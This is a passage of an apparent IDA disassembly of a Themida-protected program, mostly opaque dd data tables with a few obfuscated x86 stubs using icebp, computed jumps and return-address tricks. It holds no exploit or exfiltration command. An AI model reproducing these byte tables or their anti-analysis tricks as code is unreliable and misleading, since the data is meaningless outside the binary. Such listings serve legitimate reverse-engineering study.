		dd 0F93242C7h, 3337EA51h, 0DEEC3F68h, 0B2651646h, 5A043DA8h
		dd 85A5A3A7h, 0FBE3F6D6h, 0F8B2593Ch, 0BB7C0164h, 97507851h
		dd 0EC9AFF73h, 0CBF0D933h, 0C336F398h, 980993D6h, 0E664D7F7h
		dd 3ACC96AFh, 41E5558Eh, 0DE759ECDh, 0A3483BFBh, 1DEBEF69h
		dd 983259DDh, 8F35199Ah, 76944D7Ah, 0A586D285h,	32198115h
		dd 92F713F8h, 642D2DE6h, 4C0C03AFh, 9B2B70FAh, 723CFC62h
		dd 5713D189h, 3C2249F1h, 0C3321383h, 938B5EB8h,	6B138212h
		dd 8B9FF9ACh, 75077AE0h, 0A9DDB0BAh, 12295219h,	0FFC46D5h
		dd 0B4DBBE5Ch, 0F4548073h, 7C140B70h, 57527B20h, 402B46D5h
		dd 0B0C9F90Dh, 8C477564h, 299D1D8Eh, 39411153h,	67E32468h
		dd 44392194h, 6A52F831h, 0C8096FF3h, 0C3A6A70Bh, 3D1C78BFh
		dd 0A3E6548Fh, 593CDE19h, 0F377F334h, 56F17FA8h, 8F335608h
		dd 9FBB9548h, 55B53916h, 2B4EEC27h, 57A4A661h, 488D7Dh
		dd 3AD43C7h, 0F9000000h, 249E0C8h, 5C6C41C9h, 750267E3h
		dd 943B9EBCh, 0A2D2B753h, 0F88CE169h, 15A61B3Fh, 2F5336D4h
		dd 7F0F62E8h, 57B99A80h, 0C781E789h, 4,	4B951h,	0CF290000h
		dd 243C8759h, 2A4F685Ch, 14890000h, 3A106824h, 2C890000h
		dd 71BB5324h, 530AE927h, 0F2242C81h, 5A095B03h,	3F2C281h
		dd 545B095Bh, 81242C8Bh, 4C4h, 46E36800h, 14890000h, 8458F24h
		dd 5D2434FFh, 8B04C483h, 89532414h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 42C7E95Ch, 1A9BFFFAh
; ---------------------------------------------------------------------------
		icebp


loc_5E61E5:				; CODE XREF: Themida_:loc_5E4BB4j
		mov	eax, 0AE93C7Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0B46Bh
		dd 8F156C4Ah, 0EBB3599Eh, 0E0927727h, 842B7DB2h, 66BC5F85h
		dd 32DF4329h, 0CEB847B8h, 31505335h, 0A28B2D1Bh, 659F2E6Ah
		dd 0EE587345h, 2C6D30C6h, 94F4299Dh, 22B7049Fh,	5EA011D1h
		dd 88916CFEh, 2E6276F3h, 0FCE324F0h, 262438CFh,	0E8CD120Eh
		dd 0AD2D6EEFh, 0DE7E1B43h, 9E6D07BDh, 0AACA6BABh, 0C89F22F1h
		dd 378107BAh, 0F5E97056h, 47136506h, 76E40BD4h,	0A2C70C71h
		dd 8D8D3A72h, 0AE93E7Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 68C35343h, 3E28166h, 798D89FBh, 0F0AE314h
		dd 85C7D0BFh, 0AE306C9h, 61E0h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 5CC35242h, 0AF3B2ADBh, 14E81B72h
		dd 8C000000h, 18E7B741h, 0E6F4160Ah, 8D308F3Dh,	0B7257168h
		dd 0F48086Bh, 28Eh, 58C18B00h, 2198D89h, 85C70AE3h, 0AE30069h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5E6303
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6303	proc near		; CODE XREF: Themida_:005E62FBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5E6303	endp

; ---------------------------------------------------------------------------
		db 93h
		dd 11E9814Dh, 12000000h, 5054464Fh, 64032B17h, 14408AC5h
		dd 0B2B5F03h, 529B5FFh,	6A0AE3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 58E984C3h, 2F427687h
		dd 81852351h, 5F0AE313h, 26B595FFh, 0BD8B0AE3h,	0AE32631h
		dd 95FF006Ah, 0AE31CD1h, 4DEBC08Bh, 9124A712h, 0A6C2E97Eh
		dd 0B09DAA44h, 0D2DECE9Dh, 87CD064Fh, 19471055h, 3D3AE378h
		dd 84AD59BBh, 6ECCA542h, 101E5394h, 2923B216h, 58CFC68Bh
		dd 89944CFDh, 54243CA3h, 0CA34342Eh, 3332BCD0h,	330CFB73h
		dd 9B592125h, 69DFF329h, 0AE887h, 0FAF10000h, 7AF34E59h
		dd 0CF487704h, 0D46440BBh, 0C1815946h, 6639h, 2CE18D89h
		dd 0C02B0AE3h, 0CE9h, 3EB17800h, 94267091h, 8D6925EBh
		dd 834FF07h, 9AFA16BBh,	8D0F5F59h, 2, 0F781D38Bh, 7BE54665h
		dd 64E727BBh, 67EF817Ah, 0E95C3B2Fh, 0Bh, 14BEFDC2h, 0DAC65C11h
		dd 81A5D704h, 0FEE7E9F7h, 25958B03h, 570AE305h,	2059B58Bh
		dd 48F0AE3h, 5E96001h, 0C7000000h, 987A8F87h, 11E8h, 30E2EF00h
		dd 6558A746h, 4D5ACE41h, 23720762h, 5852A369h, 8D01615Bh
		dd 0AE32D41h, 6604E883h, 9D0DA81h, 9AACF881h, 850FFFFFh
		dd 19h,	2344BE66h, 2AE9h, 0E9F75400h, 3883A079h, 1FB5D142h
		dd 7D9C65F5h, 6870FD6h,	89000000h, 0E330C9B5h, 0FF4FE90Ah
		dd 7A86FFFFh, 32A2CE59h, 0E91535A9h, 36h, 1CB7C9DFh, 2540000h
		dd 0Bh dup(0)
		dd 0B8E90000h, 6800000Bh, 0AE9417Bh, 0FB161FE9h, 428468FFh
		dd 15E90AE9h, 68FFFB16h, 0AE94401h, 0FB160BE9h,	44DA68FFh
		dd 1E90AE9h, 68FFFB16h,	0AE9458Eh, 0FB15F7E9h, 475868FFh
		dd 0EDE90AE9h, 68FFFB15h, 0AE94809h, 0FB15E3E9h, 493468FFh
		dd 0D9E90AE9h, 68FFFB15h, 0AE94A30h, 0FB15CFE9h, 0C26E2EFFh
		dd 0D05C1E43h, 0AA6A0C5Dh, 0B94506ABh, 0B63AF5A6h, 4E6D5DB7h
		dd 3F6CE38Fh, 367BFA9Ah, 2370F793h, 0D4CC387h, 0F57BF068h
		dd 0C7BC3664h, 23D8CD7Ah, 6307549Bh, 0B1A6A203h, 0E6414E35h
		dd 35AAA1B3h, 88ED414Eh, 10A8F977h, 827BF548h, 638F5532h
		dd 974BAD12h, 5B252A36h, 0F524C31h, 0D15F82D8h,	0B23AF324h
		dd 0ACB0E7BAh, 4C315AABh, 268EBD1Fh, 431612B9h,	37B4h
		dd 0A5A65F00h, 67257617h, 519232D7h, 0D3D3090Eh, 124BAD2Eh
		dd 379441CFh, 89872BE2h, 4EE368C8h, 0C1144C31h,	4E91829Eh
		dd 0C3054C31h, 2AD70CA8h, 0ABDA4316h, 79000000h, 2F39E179h
		dd 313FC37Ah, 3430D870h, 3235D575h, 4E31E0AEh, 4C0CAC41h
		dd 3ADE7AAFh, 39386F32h, 3C08D068h, 2FBB9B2h, 0AD1FE0C6h
		dd 4DC0154Bh, 0ED8A0AC3h, 8F1D3F77h, 0CAA3F656h, 0D75C8465h
		dd 571745h, 45D047DDh, 962B5717h, 7D70088Ch, 5786DB07h
		dd 6AA65B6h, 1990E607h,	0CCF1A990h, 0BC21746h, 2CDBDB67h
		dd 63C96B69h, 982BDh, 0A64A0200h, 0B438F2A7h, 8E46E0B1h
		dd 9D21DA8Fh, 6A16C99Ah, 220179EBh, 1340C76Bh, 0A5FDE76h
		dd 754AB6Fh, 0E1A0A763h, 0F457DC04h, 0E3803664h, 3AC6791Eh
		dd 36D2763Bh, 0A5A6DA37h, 0DCEA7617h, 294BAD2Eh, 75E678F4h
		dd 614C314Eh, 3ED673A4h, 183C6336h, 2A1E45F1h, 0F1114316h
		dd 0C0000000h, 0AD9DE179h, 0AA009282h, 40372D2Eh, 7E414DFDh
		dd 63363EDAh, 17B1E237h, 0CB323A7Fh, 489F3BDEh,	0B0BC44FBh
		dd 4DF9703Eh, 4A2B8841h, 4E01999Eh, 999BDE41h, 414E0192h
		dd 21E980C5h, 0E519227h, 0FA7D1DBDh, 0FF4911A9h, 0AB6B0D1Eh
		dd 0A7C91C5Dh, 0B94506A6h, 655D8764h, 904BACE7h, 3CDB8678h
		dd 0A0E5A772h, 71EB48ADh, 4C3080FAh, 0BBB5F83Dh, 2515F2C2h
		dd 6C82DD00h, 0DBBCE395h, 0C84F957Ah, 0F4C309Ah, 22F97BAAh
		dd 55568E51h, 0B48A6B00h, 636E5EDCh, 0B207568Eh, 0A3F077FBh
		dd 0B4FA44ECh, 526B68F7h, 879249Ah, 41FD0000h, 2FEDBEB1h
		dd 3DDB888Fh, 18D58699h, 0DC09194h, 3A0EE265h, 5BDA6619h
		dd 52D57116h, 0AFAE6A01h, 0BBBA5EFAh, 52D903E4h, 853664F3h
		dd 0C67925EEh, 0D2763B3Ah, 87D86426h, 54DB01E6h, 83414E35h
		dd 83680F5Eh, 9129E179h, 0F93A7FC9h, 0FA9E3A6Fh, 0A4F4E97Bh
		dd 2FD51DC7h, 5D804BADh, 5AF12AD3h, 7E1A6FBEh, 0CC43997Eh
		dd 0B4C313Ch, 3CC54AD6h, 0BFF24C31h, 0E63B7C1Ch, 0F2963267h
		dd 0A7ACB415h, 0D04C313Ch, 195AFE9Dh, 439232D4h, 1BE74B25h
		dd 7C1FD0EBh, 781150DCh, 0BFA550DCh, 0D3775FB8h, 0D963BAFFh
		dd 94B4A9B2h, 0BA5EFA75h, 6FE47CDDh, 0A8D3775Fh, 60040BD1h
		dd 0EE33D377h, 3DC578ADh, 82264BEAh, 62D44EC6h,	0ACD3775Fh
		dd 4CA26188h, 9EECD32Eh, 0B50629E0h, 0A1F27515h, 6DC74109h
		dd 50DB1A4Dh, 9029621Bh, 84A7A1F4h, 0B48B4FEBh,	898743E7h
		dd 0C0664607h, 34490804h, 7AFD8D57h, 1548DDD6h,	0DFDD9E12h
		dd 8108223Eh, 9B78E8B9h, 3DC5CA41h, 85A80DE9h, 0F26CF83Dh
		dd 0E93DC580h, 7FB7D276h, 0EE1AB9C0h, 486CBh, 0C1B60600h
		dd 30414E35h, 414E263Fh, 4E450DA6h, 8C2A7F41h, 449941D8h
		dd 4A0C0F11h, 9D8E414Eh, 0E96EFAE2h, 2E414E49h,	0CD67B6CBh
		dd 0BEEB8010h, 0A01DB1Bh, 4D414E4Ah, 8780D7E8h,	0AD41695Dh
		dd 0F541944Bh, 7443A689h, 0FC37E543h, 78000006h, 68393CC4h
		dd 660B0AB2h, 500104C0h, 4F1C139Bh, 836DE090h, 59E9A487h
		dd 50F495C6h, 2DED8CDDh, 39E1792Ah, 5A866726h, 3664F1D5h
		dd 0CDA06102h, 0F2B0D0FDh, 74BB2C34h, 49C78327h, 58915EACh
		dd 7EA9F931h, 5848052Fh, 26C718C0h, 0A663733Ah,	7AFD204Bh
		dd 6E6FC533h, 0F93492Eh, 0CE5695C4h, 323AC27Bh,	0A0422A6Fh
		dd 3FAC06Ch, 22293390h,	55067B29h, 9A53DD00h, 33E77D1Ah
		dd 0EA10DA1Fh, 9F122782h, 0DB1CCEAFh, 0B652E922h, 8647C967h
		dd 68F05136h, 115EF4E3h, 0F99EC114h, 0BDCB5763h, 2AC3161Bh
		dd 2F989F45h, 0E6621C42h, 1C422F71h, 0F22773A6h, 1005EAA3h
		dd 3B88DF77h, 3764FB9Fh, 0EBC4C293h, 5FFD58FEh,	86DB1CBCh
		dd 5314C6BCh, 0FA5810A4h, 623h,	0C047EBA3h, 0D255D993h
		dd 282FE781h, 3B3AC27Bh, 340BB776h, 0CC3E0D8h, 17B0E164h
		dd 10ABF87Fh, 4A4F548h,	0E582C144h, 64F1F87Fh, 0FF443F36h
		dd 7617A5A6h, 26C68491h, 38446B2Eh, 4BAD2FF2h, 0ACA3B91Eh
		dd 0C74C313Ch, 0EDC132C7h, 65B8E218h, 0BBB5E832h, 1A652F6h
		dd 75B6CB45h, 7713B6FBh, 770FA8F9h, 7DACACF9h, 406B81E2h
		dd 0C4A5F3E8h, 9108D61Ch, 0DB5A9F56h, 1515D659h, 1648CF57h
		dd 0A4595715h, 0A4ED7714h, 6F616DE9h, 0A8A0020Ah, 5461FE55h
		dd 0B1E48C43h, 61E90DAFh, 8D3DDDDFh, 0F8A038ECh, 0D7E8A9A7h
		dd 1096036Bh, 0D54BE15Eh, 56Fh,	0B48B37F7h, 869925E7h
		dd 9C9333D5h, 0EF6E0ECFh, 0F87F03BAh, 58173414h, 630455A8h
		dd 5CFFACA3h, 50E8B9BCh, 11F6B588h, 64F144CBh, 33907336h
		dd 66B3A5A6h, 151A06C2h, 4B414E36h, 5D1CE8B0h, 0E29BDC01h
		dd 0A7092F66h, 0D8B1E44Bh, 1F6C67EAh, 12451A56h, 7B3571Ah
		dd 0E265A646h, 9A3C6C6Eh, 4EAFB9FAh, 0CF1EA25Dh, 429EDE7Ah
		dd 4C373CCDh, 9392D70Ah, 6888217Ah, 373C7BF0h, 2479BC4Ch
		dd 0F5466928h, 0F6BBB555h, 0D5BEB652h, 0CB6F0823h, 2398080Fh
		dd 2E431C34h, 190h, 17A5A6E5h, 0E2849176h, 6161F322h, 0A44BAD2Ah
		dd 0F87DF771h, 144C3152h, 241AC9E0h, 535B7DD7h,	9B95D8B5h
		dd 2F35D2E2h, 5690A99Fh, 75DAB3E6h, 14D168EFh, 1B4AAF57h
		dd 17B35704h, 0E8B04819h, 0D2E29B15h, 0AF032F35h, 97CA6173h
		dd 0F8140799h, 78061F7h, 0B4960A37h, 9C227B60h,	70F5062Ah
		dd 3C184F80h, 973AA10Dh, 5835695Ch, 0D0000000h,	0E86424C7h
		dd 0CD8D86A9h, 357FF46Ch, 65B8414Eh, 7F3D3E32h,	2F44429Eh
		dd 5C814BADh, 0B8384FBFh, 6D9D39DFh, 0EF3E9189h, 986CEF41h
		dd 0FC9A4C31h, 0E29DCC58h, 5E83D65Eh, 50111FBBh, 0CB091EB6h
		dd 0F450C7A0h, 50E259D5h, 6ABF4316h, 71000CB0h,	0A13B2Eh
		dd 79D60000h, 0D0479DE1h, 7414E35h, 0D29791D2h,	2229331Bh
		dd 79414E36h, 5CCDA1F7h, 0EA4F6BA6h, 6E0A5FA9h,	6EBBA2AAh
		dd 8DDE01ADh, 0B62A2DEDh, 414D80F8h, 0E16424C4h, 0D1751304h
		dd 0BBE9E28Eh, 0ABEE661Eh, 166BF196h, 454BAB41h, 0B30B7B10h
		dd 606A6DC6h, 180D0A5Dh, 95ADD65h, 4690AA56h, 0D0744559h
		dd 3A5BA18h, 6D210000h,	5B1142C5h, 690F5CD3h, 44F9AAADh
		dd 39F4A5B8h, 6E5AB689h, 6FEE924Dh, 66F99D3Ah, 73F29635h
		dd 4FCE8A2Eh, 7EF56F08h, 0B93664EEh, 0C67979DAh, 0D2763B3Ah
		dd 0CDDA3736h, 357FF46Ch, 65B8414Eh, 0B449E132h, 1A39A889h
		dd 0FC488D9Ch, 0AC4D0DADh, 0AA2F285Eh, 0CF8C8529h, 6B9EA2Fh
		dd 0DF342B7Ah, 4EB5C5B6h, 0B5E64741h, 65EA76FAh, 9B414EB5h
		dd 0DC015DE1h, 0B584F789h, 706D414Eh, 0A0F57D30h, 0B0C14F07h
		dd 0B429E7Fh, 0C84BA789h, 54099B95h, 9BDA744h, 0B45696E4h
		dd 5BA7CC54h
		dd 65F119BDh, 0ED296A3Ah, 6B6C43C9h, 0F437E543h, 70000002h
		dd 603134BCh, 5E0302AAh, 48191CB8h, 4714EB93h, 8B65F888h
		dd 51E19CBFh, 28EC8DDEh, 25E584D5h, 31D97122h, 429E7F3Eh
		dd 3664EDCDh, 79A8690Ah, 724039E1h, 814DAAAh, 72EE8FA6h
		dd 414D85FDh, 0B8B0E73Ah, 0B68951E9h, 9A73413Ah, 2B47E035h
		dd 4D863A31h, 0E7387D41h, 2077FBB2h, 0AC62F21Ch, 0EE66BB4Bh
		dd 30AC0374h, 3655F74Ch, 174341FEh, 500D1E43h, 6801A0ACh
		dd 0DC11A0ACh, 33DE89h,	0A6750000h, 0EA7617A5h,	4BAD2EDCh
		dd 2717F429h, 0F2943C37h, 0C472452h, 5481AFFEh,	64E0A843h
		dd 0FD7E0255h, 0E94C3223h, 4BF03C6Fh, 464316DFh, 0C5h
		dd 39E1798Dh, 3FC37A2Fh, 30D87031h, 35D57534h, 31E0AE32h
		dd 0F18414Eh, 2B78AF6Bh, 993DDB8Fh, 0F324C144h,	1A6FBE56h
		dd 0C052DA7Eh, 9EEC8D0Bh, 62A22E20h, 8186A945h,	0AD47DF5Bh
		dd 0F56F2E4Bh, 4C31937Eh, 2C2364B9h, 0CEDABA0h,	8F4577D4h
		dd 0DE7DB056h, 2A6F323Ah, 1DA5584Dh, 0FA96491Ah, 0A44FBF43h
		dd 822F6655h, 0DFED296Ah, 396B69FBh, 1C90DB3h, 914D0000h
		dd 7F3D6EE1h, 8D2B78FFh, 682576C9h, 5D1041C4h, 4ABE52D5h
		dd 0B0AB669h, 205C166h,	1F1EBA51h, 6BEAAE4Ah, 0A2A9B354h
		dd 0D53664ECh, 0D8CD553Eh, 0CD8C9840h, 0FA96499Ah, 0E0B1BF43h
		dd 0EE4FA8AFh, 4E35FD72h, 0B0E73A41h, 0C03C763h, 17A5A6E7h
		dd 2EDCEA76h, 0F4294BADh, 6EC12717h, 0F119A566h, 0D0072490h
		dd 255C658h, 44414C32h,	2F67DE7h, 0FC214C32h, 307CAFA9h
		dd 4316FE8Bh, 0B286h, 0E1794D00h, 69CE2F39h, 4E357CF3h
		dd 3766BB41h, 0E6872BE2h, 3554DB01h, 5E83414Eh,	7FBAFB28h
		dd 37664471h, 0DEE7A739h, 13B7414Dh, 7A3F077h, 827BC543h
		dd 0A3F45532h, 10B85008h, 0DD0051DFh, 0ACCAD743h, 2AC3164Bh
		dd 6F81DBD4h, 16596672h, 0D0E09D17h, 4361213Bh,	0F124568Eh
		dd 0EDABB18h, 57166809h, 77C4EB4Eh, 643508B8h, 153D19A9h
		dd 0C76B68B8h, 0CDCB69h, 95490000h, 83396AEDh, 913764FBh
		dd 6C2172F5h, 611C4DC0h, 56B25ED1h, 3736BA75h, 0E01C562h
		dd 1B1ABE5Dh, 1716B256h, 0A6ADB750h, 0D13664EBh, 0C6795132h
		dd 0D2763B3Ah, 79DA3736h, 7A2F39E1h, 0C23B3ADEh, 3570E77Dh
		dd 0AF8B414Eh, 26A0618Bh, 4796CB17h, 8B60302Dh,	0A61D1C51h
		dd 929ADF4Bh, 0FE9F3BDFh, 894CC319h, 568B4C36h,	97336007h
		dd 0BBFB75F3h, 0B361F906h, 61F97299h, 0FE7612A9h, 948166BBh
		dd 94531CD9h, 0E2AAF577h, 0AAFF7EA1h, 78AD4A0Eh, 984039E1h
		dd 6294CD93h, 264E91C4h, 2A22CA83h, 0C1AAC183h,	9EE6129h
		dd 8C523639h, 1047C8B0h, 0E56327C3h, 1237h, 0D8CDDA00h
		dd 0CB8E863Eh, 36413612h, 2376414Eh, 79844DFCh,	7E333DC5h
		dd 73363EDAh, 753430D8h, 753430D4h, 6B3E36BAh, 61000CB4h
		dd 650400ACh, 640503C3h, 0C20E06A6h, 38C068h, 24048900h
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89562414h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 241C895Ch, 4057BB53h
		dd 0DA890AE9h, 81241C8Bh, 4C4h,	1C8B5400h, 4C48124h, 68000000h
		dd 45AEh, 8F241489h, 1C8B0843h,	0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		dd 69C78221h, 8BE0191Fh, 0B8B6BE8Fh, 0AE94B22h,	0E0FFC503h
		dd 5614E615h, 716D90C8h, 22C1D8Ch, 2E584518h, 59C038B9h
		dd 1EB47DB9h, 14312CE8h, 6E233DCCh, 6C3D3E23h, 76AFE123h
		dd 0AEEA28h, 51ECED5Ch,	501A02CFh, 2204581Eh, 3FBB67B4h
		dd 284A22F7h, 6D5CF749h, 4C8E8D8Dh, 0BD8B0AE9h,	0AE31DC5h
		dd 14798D89h, 0B58B0AE3h, 0AE325FDh, 6C985C7h, 6EB80AE3h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F84F05C3h, 6985C7h, 0AE3h, 0FFFC0000h, 0E319A9B5h
		dd 51006A0Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0E25B53FFh, 0D0883A64h, 0BF0F08EAh, 0B595FFC1h
		dd 890AE326h, 0E31EE99Dh, 0FF006A0Ah, 0E31CD195h, 0EBC08B0Ah
		dd 0DF5F577Eh, 4A0D1525h, 2499F961h, 5B73FD3h, 99EECE1h
		dd 9409110Bh, 326BF194h, 0E7D04F8h, 86267230h, 0C08C1054h
		dd 2C8571C8h, 0A19A0288h, 0A97D4192h, 0CE424F6Eh, 2AFA9815h
		dd 26056A24h, 3DCB67D7h, 0D137B2C2h, 10365DD0h,	45A9E23Eh
		dd 0DC7A5BCBh, 0A9831F93h, 0D9397B64h, 7920717Dh, 0FB583DD9h
		dd 831238B3h, 0B95B6032h, 571E30AAh, 0C83C2701h, 0DFFD7DADh
		dd 81A735F3h, 0E9641D21h, 87h, 4E8D45Ch, 0BAF5CC47h, 66D138F3h
		dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h
		dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h,	729EBD8Ch
		dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h,	94A19E96h
		dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh
		dd 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h
		dd 527155C3h, 0DA43700h, 910D3C2h, 0Eh,	0
		dd 0E9000000h, 106Ch, 0E94F7668h, 320BE90Ah, 6468FFFAh
		dd 0E90AE950h, 0FFFA3201h, 0E9514868h, 31F7E90Ah, 8868FFFAh
		dd 0E90AE952h, 0FFFA31EDh, 0E9530568h, 31E3E90Ah, 8368FFFAh
		dd 0E90AE953h, 0FFFA31D9h, 0E9543368h, 31CFE90Ah, 0D268FFFAh
		dd 0E90AE954h, 0FFFA31C5h, 0E9559B68h, 31BBE90Ah, 9068FFFAh
		dd 0E90AE956h, 0FFFA31B1h, 0E9575D68h, 31A7E90Ah, 0B668FFFAh
		dd 0E90AE958h, 0FFFA319Dh, 0E95B7268h, 3193E90Ah, 6F68FFFAh
		dd 0E90AE95Ch, 0FFFA3189h, 2F9B5467h, 0B763DCEAh, 33E72052h
		dd 0BE6CADDEh, 38F2355Bh, 0FF81FBEFh, 440B4E3Ch, 0C5F2D783h
		dd 517B5E0Ch, 0AB2F2496h, 0F65CD700h, 6FF3AE3Bh, 56827B0Ah
		dd 0C8034956h, 0E25D6F42h, 0C83E3A28h, 0C7E53962h, 0E3883CFCh
		dd 86073467h, 0A5D73BFCh, 8E9BE06Ah, 0F2B981F5h, 2EE993F8h
		dd 0DE80412Ch, 0F072E35Ah, 950E2FD8h, 34254Dh, 0A6510000h
		dd 0D586A4A2h, 3CFC9425h, 0EE1744D8h, 0C73BFC91h, 0FBA0F8D4h
		dd 921F4C5Fh, 0A05D3BFCh, 0E2890D3Eh, 3BFC91B9h, 82B59F8Ch
		dd 4D95C9E5h, 0E5EFh, 3499F00h,	2D04F048h, 0DD90AD99h
		dd 0F334583Dh, 4C1F9357h, 46DF8423h, 8458812Ah,	7E2D46DFh
		dd 24157F2Ch, 0DABF5B94h, 768575AEh, 46DF80A0h,	0F587CAFEh
		dd 8BD103Ah, 0DC04BCFh,	9043BCCCh, 488737AAh, 0AB1F79C2h
		dd 3F6833B7h, 1646DF88h, 0BACE2B65h, 4F0BD941h,	922A71F9h
		dd 453CFC9Dh, 8A4EE456h, 5EDBEBCh, 88321842h, 0DE7C8BC3h
		dd 317A0304h, 46D92208h, 117B2EDDh, 44D86209h, 755F9821h
		dd 0B3B77004h, 0EA70A9DEh, 5306C1F7h, 74433960h, 0C50F2D5Ah
		dd 0BB7C0045h, 0E598F041h, 51F72B09h, 0DDCh, 0E7538C3Fh
		dd 6FDB14A2h, 0EB5F982Ah, 7624E596h, 0F0AA6D13h, 375943B7h
		dd 0BCC306F4h, 3D4A8F7Bh, 893316C4h, 0E3779C4Eh, 0F65C8FB8h
		dd 73BB663Bh, 16C40749h, 0CC0BBFD2h, 28E3A980h,	0A2A62A72h
		dd 25D586A4h, 83CFC94h,	87B4E763h, 573BFC92h, 8B447223h
		dd 2A5F32D8h, 8A90577Bh, 614CCE81h, 837A3EA0h, 4FF8D092h
		dd 734D95C9h, 7EE9A308h, 45879A42h, 3825187Dh, 18D3F94Dh
		dd 0C0D96BA5h, 0C5000000h, 62C80349h, 0ADDE7219h, 3DBA5D4h
		dd 18D586E1h, 2EE6D98Ch, 2F9D4388h, 0F1D40450h,	9D0E0CCFh
		dd 46DF22C7h, 702AE597h, 96B46F1Dh, 0E40D5ED2h,	0B946DF29h
		dd 7C7C86D2h, 63FBA08Ah, 3A3CFC3Fh, 8F4B9951h, 71EAB1B9h
		dd 243217A5h, 0FA88F377h, 0BA0C3710h, 0A0C5157Fh, 2A6FDB1Ch
		dd 867A19Ah, 3F09E627h,	0CEE651Bh, 9E2D0000h, 0EA90F5A5h
		dd 76187D2Dh, 0F384F9B1h, 7F014436h, 31A1CEBCh,	14C601B7h
		dd 9D4D8E31h, 64D613B8h, 0EAA09B21h, 0A1CA9159h, 743BF65Bh
		dd 7498189h, 0B97D6444h, 18F6B53Bh, 0CBC35140h,	92483BEEh
		dd 18D20DBFh, 0DE19A1C4h, 0D4694F3Ch, 33BF7E84h, 49101440h
		dd 1962C803h, 0F90DBA12h, 0B464B0ADh, 0BA70ABD1h, 7BBCC3A6h
		dd 51963811h, 6BA4D4C9h, 0B0C6BBBFh, 0A91CDFE1h, 539BDF6Fh
		dd 3589B197h, 6437CD46h, 0BE9ACC07h, 0FBEBB16Dh, 3D3FEC3Ch
		dd 72043E6Ah, 3D0BCF4Dh, 1E1A6E3Dh, 86753F93h, 3C0ACE84h
		dd 0B2AF6D3Eh, 3DEE456Fh, 0C0DF4E3Dh, 48BB7404h, 0C410455Dh
		dd 702B5134h, 631416EFh, 0C2B73A6h, 89F2AB9Eh, 2EE47B35h
		dd 0EB9AFF7Bh, 2F62E632h, 0FD66A29Dh, 24074C56h, 0C0A6E00h
		dd 7A010000h, 0C6F4C981h, 4A7C5109h, 0D7F8DD8Dh, 53655812h
		dd 15C52298h, 6822E5ABh, 0F1A96215h, 7832EF9Ch,	0CEBC7705h
		dd 0BDE6B545h, 903BF659h, 349A5E5h, 69F12A5Eh, 592B2FE2h
		dd 628BD0A1h, 1C46DFABh, 93593154h, 8F7C8E22h, 714D1EDCh
		dd 2C3CFCB8h, 0A1598B7Fh, 0B8D883A7h, 9F321992h, 0A1CA4EECh
		dd 46DF9378h, 4287C84Dh, 548073D8h, 92CAF7A4h, 1F0046DFh
		dd 0C8C87553h, 40C04776h, 0AC000000h, 8432A2A6h, 897CCF4Bh
		dd 4482DA1h, 98F447C3h,	0FCDD3487h, 92D95D3Ch, 3BFC5D69h
		dd 5E9C4F3Ch, 0E555923Bh, 0A39C2C41h, 5D073669h, 0A5D73BFCh
		dd 5F12CFFCh, 28E196EBh, 0B4A8C22h, 0A8180000h,	7231B123h
		dd 0B9828841h, 8DA5D446h, 47C1B943h, 3BFC8EE3h,	0DAEF2C1Fh
		dd 0A327331Dh, 137DBECEh, 0F6615A10h, 0E04A313Ch, 2604FF8Dh
		dd 90A11955h, 0AFE963C4h, 19D2E6DBh, 917773F1h,	76DB02A9h
		dd 0C9B2320Dh, 0C488ED61h, 0D8E0C903h, 2256AB1Fh, 87A4CD9Eh
		dd 927946DFh, 14C70049h, 8A7C7CF6h, 74FBFBA0h, 2F423CFCh
		dd 4A87349Dh, 4C887397h, 5E75AF5Ch, 4514C2CDh, 0ACA0FA1h
		dd 0BAC10000h, 6B48941h, 8A3C11C9h, 17B89D4Dh, 932518D2h
		dd 5585E258h, 28E2256Bh, 0B169A2D5h, 38F22F5Ch,	8E7CB7C5h
		dd 7DA6F585h, 503BF659h, 527F65A5h, 0F546DFABh,	0B7F085F5h
		dd 64D6571Bh, 0E06ADD82h, 0EF82A81Bh, 13F862DDh, 5B6A3139h
		dd 323CF62Fh, 0FC8CE149h, 1F935703h, 0F5AF234Ch, 0C711FA3Bh
		dd 0ED6DA6D2h, 45E56367h, 12BE3A16h, 3A661532h,	9EA669Dh
		dd 4DDE7094h, 4C00000Ah, 3316C43Dh, 0BB9E4C8Bh,	271AD017h
		dd 0A0E55592h, 6FDB1Ch,	65A6D6D2h, 0EC2D50B5h, 75B2DB3Eh
		dd 0FF384085h, 2972F80Bh, 3BF65800h, 49E228D5h,	0C3ECBF03h
		dd 9A46DFAAh, 0B91C3EF1h, 2932D813h, 691632BCh,	634776D4h
		dd 49Fh, 0A4A2A613h, 0DFC2D586h, 0C0AB3CF6h, 0BA75077Ah
		dd 4FF8DC0h, 5E689506h,	0DF9B3BF6h, 0BE9AC169h,	9132136Dh
		dd 1517BEEAh, 0EA0E09EAh, 9CF34h, 46BFCA00h, 0CE09B194h
